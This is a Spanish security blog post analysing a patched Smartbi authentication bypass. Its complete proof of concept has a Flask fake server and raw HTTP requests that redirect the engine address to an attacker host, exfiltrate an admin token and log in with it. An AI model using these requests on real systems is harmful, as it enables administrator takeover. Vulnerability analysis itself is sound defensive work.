Hace algún tiempo, Smartbi solucionó oficialmente una vulnerabilidad de omisión de permisos. Los atacantes no autorizados pueden aprovechar esta vulnerabilidad para obtener un token de administrador y asumir por completo los privilegios de administrador. Entonces estudié los parches relevantes y los analicé.
Resultado del análisis 0x01
Según el análisis del parche, se obtienen los siguientes pasos de reproducción de vulnerabilidades
El primer paso es configurar EngineAddress como la dirección del servicio http en la máquina del atacante.
Primero, use python flask para construir un servidor falso, en el que solo está registrada la interfaz /api/v1/configs/engine/smartbitoken, que devuelve un cuerpo de respuesta json
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
Utilice el siguiente poc, configure EngineAddress en nuestra dirección de servidor falsa http://10.52.32.43:8000,
POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23
http://10.52.32.43:8000
El segundo paso es activar smartbi para que envíe el token a la dirección del motor que acabamos de configurar.
Envía la siguiente solicitud
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
Después de enviar la solicitud correspondiente, podrá ver la solicitud que lleva el token en nuestro servidor falso.
El tercer paso es iniciar sesión con el token obtenido anteriormente.
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_I8ac3b2d10189e80fe80fea750189ed0084f50082Devolver verdadero indica que el inicio de sesión se realizó correctamente y que la cookie es una credencial legal.
proceso de análisis 0x02
Lea los parches relevantes, sabemos que esta vulnerabilidad está relacionada con /smartbix/api/monitor/setServiceAddress
Si observamos más a fondo el método de parcheo de la clase RejectSmartbixSetAddress, podemos ver que está relacionado con el método getToken de la clase smartbix.datamining.service.MonitorService, este parche indica que si hay un método getToken en el método smartbix.datamining.service .MonitorService en el sistema, intercepta /smartbix/api/monitor/ Una serie de solicitudes de interfaz como setEngineAddress.
El análisis de la clase smartbix.datamining.service.MonitorService muestra, a partir de las anotaciones en el encabezado, que se puede acceder a todas las rutas bajo esta clase sin autenticación.
Ubique el token / de la ruta correspondiente al método getToken, genere un token dentro del método y envíe el token al ENGINE_ADDRESS configurado en la configuración del sistema cuando el parámetro de tipo de entrada sea experimento.
Esto significa que siempre que ENGINE_ADDRESS sea controlable, podemos obtener un token legal de la ruta /smartbix/api/monitor/setServiceAddress del paquete de parche al método setEngineAddress. Podemos saber que este método puede configurar ENGINE_ADDRESS sin autorización.
Eso significa que solo necesita llamar a la interfaz /smartbix/api/monitor/setServiceAddress, configurar ENGINE_ADDRESS como nuestro servidor falso controlable y luego podrá obtener el token del mensaje de solicitud. (Después de probar esta ubicación, se descubre que la interfaz /api/v1/configs/engine/smartbitoken solicitada por el método POST debe implementarse en el servidor falso y el contenido de la respuesta es json). Después de obtener el token, puede llame al método /smartbix/api/monitor /login para iniciar sesión
0x03 otras instrucciones
Lo anterior solo explica la situación de configurar ENGINE_ADDRESS para usar, y los pasos para configurar SERVICE_ADDRESS para usar son similares a los anteriores.
Convocatoria de manuscritos originales
Convocatoria para artículos técnicos originales, bienvenido a publicar
Correo electrónico de envío: [email protected]
Tipo de artículo: tecnología hacker geek, puntos de acceso a la seguridad de la información, investigación y análisis de seguridad, etc.
Si aprueba la revisión y la publica, puede obtener una remuneración que oscila entre 200 y 800 yuanes.
Para obtener más detalles, haz clic en mí para verlo.
Práctica de campo de tiro, haga clic en "Leer el texto original"